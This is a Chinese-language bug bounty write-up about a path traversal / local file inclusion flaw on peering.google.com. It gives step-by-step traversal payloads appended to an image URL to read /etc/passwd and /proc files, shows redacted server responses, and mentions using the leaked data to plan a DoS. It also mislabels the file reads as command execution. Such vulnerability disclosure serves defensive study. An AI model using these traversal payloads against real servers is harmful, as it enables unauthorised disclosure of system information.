Googlepeering.google.com中的本地文件包含(LFI)漏洞
- 2019 年 10 月 4 日
- 筆記

眾所周知,本地文件包含漏洞(LFI)可以造成資訊泄露甚至入侵系統,即使其中的包含程式碼不具備執行許可權,但攻擊者也可以從中獲取一些深入滲透目標系統的有價值資訊。該篇Writeup講述的就是作者在Google某網路系統中發現的一個LFI漏洞,通過該漏洞可以獲取到大量的系統運行和配置資訊,存在嚴重的安全隱患,漏洞最終獲得Google$3133的獎勵。可見,大公司大廠商一樣會以低級錯誤方式出現這種高危漏洞。
漏洞影響
peering.google.com,Google Edge network,是Google分散式伺服器網路。其中存在LFI漏洞,可以通過它運行一些本地的系統命令,造成嚴重的資訊泄露。
漏洞復現
訪問 https://peering.google.com/;
然後訪問該網站中的任意一張圖片,如:
Open any picture in another window for example: 「https://peering.google.com/static/images/couch-ipad.png
之後,在該圖片鏈接末尾加入一些本地執行命令,如:
../../../../../../../etc/passwd ../../../../../../../proc/self/cmdline ../../../../../../../proc/self/stat ../../../../../../../proc/self/status ......
最終鏈接形如:
https://peering.google.com/static/images/couch-ipad.png../../../../../../../proc/self/cmdline
就是構造如此簡單的鏈接打開方式,我們就能從中執行上述本地系統命令,獲取到相應的系統運行和配置資訊。
復現示例
如要獲取系統伺服器和內核資訊,我們可以在上述圖片鏈接末尾加上../../../../../../../proc/version,最終伺服器響應回來的資訊如下:
Linux version 3.*.* #1 SMP
如要獲取伺服器文件系統資訊,我們可以在上述圖片鏈接末尾加上../../../../../../../proc/self/cmdline,最終伺服器響應回來的資訊如下:
server_software=Google App Engine/1.*.*
如要獲取系統內網資訊,我們可以在上述圖片鏈接末尾加上../../../../../../../proc/self/net/,最終伺服器響應回來的資訊如下:
apihost_address=169.*.*.253:* /server_address=169.*.*.2:*
如可以從../../../../../../../proc/self/stat中獲取一些系統的運行部署環境,如:
(python27g_runti)
另外,還可以從../../../../../../../proc/self/status中獲得一些系統運行進程和承載能力的關鍵資訊,為實施DoS攻擊作出輔助評估:
FDSize: 11, VmSize: 1134532 kB, VmRSS: 134860 kB, Threads: 17
影片驗證PoC
(需要影片嵌入):https://www.youtube.com/watch?time_continue=47&v=khvwTKJqcsg
*參考來源:updatelap,clouds編譯整理,轉載請註明來自FreeBuf.COM
